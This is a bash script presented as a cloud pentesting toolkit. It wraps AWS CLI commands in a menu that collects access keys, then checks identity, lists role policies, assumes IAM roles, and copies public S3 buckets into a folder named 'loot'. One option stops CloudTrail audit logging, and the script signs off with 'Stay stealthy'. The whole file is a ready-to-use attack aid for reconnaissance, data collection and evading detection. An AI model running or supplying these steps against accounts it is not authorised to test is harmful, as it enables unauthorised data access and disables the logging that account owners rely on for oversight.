#!/bin/bash

echo "=== Cloud Pentesting Toolkit (AWSReaper) ==="
echo "Choose an option:"
echo "1) Check AWS Identity"
echo "2) List Attached Role Policies"
echo "3) Assume IAM Role"
echo "4) Sync Public S3 Bucket"
echo "5) Stop CloudTrail Logging"
echo "6) Exit"

read -p "Enter your choice [1-6]: " choice

prompt_credentials() {
  read -p "AWS_ACCESS_KEY_ID: " AWS_ACCESS_KEY_ID
  read -p "AWS_SECRET_ACCESS_KEY: " AWS_SECRET_ACCESS_KEY
  export AWS_ACCESS_KEY_ID
  export AWS_SECRET_ACCESS_KEY
}

case $choice in
  1)
    prompt_credentials
    aws sts get-caller-identity
    ;;
  2)
    prompt_credentials
    read -p "Enter IAM Role Name: " role
    aws iam list-attached-role-policies --role-name "$role"
    ;;
  3)
    prompt_credentials
    read -p "Enter IAM Role ARN: " arn
    read -p "Enter Session Name: " session
    aws sts assume-role --role-arn "$arn" --role-session-name "$session"
    ;;
  4)
    prompt_credentials
    read -p "Enter Public S3 Bucket Name: " bucket
    aws s3 sync s3://$bucket ./loot --no-sign-request
    ;;
  5)
    prompt_credentials
    read -p "Enter CloudTrail Name to Stop Logging: " trail
    aws cloudtrail stop-logging --name "$trail"
    ;;
  6)
    echo "Exiting CloudReaper... Stay stealthy, bub 🦇"
    ;;
  *)
    echo "Invalid option. Please try again."
    ;;
esac
